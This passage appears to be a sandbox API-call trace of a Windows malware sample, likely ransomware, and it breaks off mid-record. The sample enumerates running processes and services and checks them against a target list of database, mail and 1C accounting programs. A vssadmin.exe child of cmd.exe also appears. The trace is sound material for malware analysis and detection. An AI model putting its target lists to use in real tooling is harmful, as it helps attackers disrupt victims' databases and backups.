lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.806] lstrlenW (lpString="svchost.exe") returned 11 [0258.806] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.806] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.806] lstrlenW (lpString="svchost.exe") returned 11 [0258.806] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.806] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.807] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.807] lstrlenW (lpString="svchost.exe") returned 11 [0258.807] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.807] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.808] lstrlenW (lpString="svchost.exe") returned 11 [0258.808] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.808] lstrlenW (lpString="audiodg.exe") returned 11 [0258.808] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.808] lstrlenW (lpString="svchost.exe") returned 11 [0258.808] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.809] lstrlenW (lpString="svchost.exe") returned 11 [0258.809] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0258.809] lstrlenW (lpString="userinit.exe") returned 12 [0258.809] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.809] lstrlenW (lpString="dwm.exe") returned 7 [0258.809] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.810] lstrlenW (lpString="explorer.exe") returned 12 [0258.810] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.810] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.810] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.810] lstrlenW (lpString="taskhost.exe") returned 12 [0258.810] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.810] lstrlenW (lpString="svchost.exe") returned 11 [0258.811] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0258.811] lstrlenW (lpString="chrome64b.exe") returned 13 [0258.811] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.811] lstrlenW (lpString="reader_sl.exe") returned 13 [0258.811] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0258.811] lstrlenW (lpString="dllhost.exe") returned 11 [0258.811] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x598, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0258.812] lstrlenW (lpString="cmd.exe") returned 7 [0258.812] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0258.812] lstrlenW (lpString="conhost.exe") returned 11 [0258.812] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x660, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0258.812] lstrlenW (lpString="vssadmin.exe") returned 12 [0258.812] Process32NextW (in: hSnapshot=0x2d4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x660, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0258.813] CloseHandle (hObject=0x2d4) returned 1 [0258.813] Sleep (dwMilliseconds=0x1f4) [0259.389] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4544630 [0259.462] EnumServicesStatusExW (in: hSCManager=0x4544630, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0259.462] GetLastError () returned 0xea [0259.462] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xcec) returned 0x4622e90 [0259.462] EnumServicesStatusExW (in: hSCManager=0x4544630, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4622e90, cbBufSize=0xcec, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4622e90, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0259.462] CloseServiceHandle (hSCObject=0x4544630) returned 1 [0259.463] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.463] lstrlenW (lpString="AudioSrv") returned 8 [0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0259.463] lstrlenW (lpString="BFE") returned 3 [0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.463] lstrlenW (lpString="CryptSvc") returned 8 [0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.464] lstrlenW (lpString="CscService") returned 10 [0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0259.464] lstrlenW (lpString="DcomLaunch") returned 10 [0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0259.464] lstrlenW (lpString="Dhcp") returned 4 [0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0259.464] lstrlenW (lpString="Dnscache") returned 8 [0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0259.464] lstrlenW (lpString="DPS") returned 3 [0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0259.464] lstrlenW (lpString="eventlog") returned 8 [0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0259.465] lstrlenW (lpString="EventSystem") returned 11 [0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0259.465] lstrlenW (lpString="gpsvc") returned 5 [0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0259.465] lstrlenW (lpString="LanmanWorkstation") returned 17 [0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0259.465] lstrlenW (lpString="lmhosts") returned 7 [0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0259.465] lstrlenW (lpString="MMCSS") returned 5 [0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0259.466] lstrlenW (lpString="MpsSvc") returned 6 [0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0259.466] lstrlenW (lpString="NlaSvc") returned 6 [0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0259.466] lstrlenW (lpString="nsi") returned 3 [0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0259.466] lstrlenW (lpString="PcaSvc") returned 6 [0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0259.466] lstrlenW (lpString="PlugPlay") returned 8 [0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0259.467] lstrlenW (lpString="Power") returned 5 [0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0259.467] lstrlenW (lpString="ProfSvc") returned 7 [0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0259.467] lstrlenW (lpString="RpcEptMapper") returned 12 [0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0259.467] lstrlenW (lpString="RpcSs") returned 5 [0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0259.467] lstrlenW (lpString="SamSs") returned 5 [0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0259.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0259.468] lstrlenW (lpString="Schedule") returned 8 [0259.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0259.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0259.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0259.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0259.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0259.468] lstrlenW (lpString="SENS") returned 4 [0259.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0259.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0259.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0259.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0259.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0259.468] lstrlenW (lpString="ShellHWDetection") returned 16 [0259.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.468] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0259.468] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0259.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0259.468] lstrlenW (lpString="Spooler") returned 7 [0259.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0259.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0259.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0259.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0259.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0259.468] lstrlenW (lpString="SysMain") returned 7 [0259.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0259.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0259.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0259.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0259.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0259.468] lstrlenW (lpString="Themes") returned 6 [0259.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0259.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0259.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0259.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0259.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0259.469] lstrlenW (lpString="UxSms") returned 5 [0259.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0259.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0259.469] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0259.469] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0259.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0259.469] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4622e90 | out: hHeap=0x540000) returned 1 [0259.469] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0259.470] Process32FirstW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.471] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.471] lstrlenW (lpString="System") returned 6 [0259.471] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0259.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0259.471] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0259.471] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0259.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0259.471] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0259.471] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0259.471] Process32NextW (in: hSnapshot=0x384, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 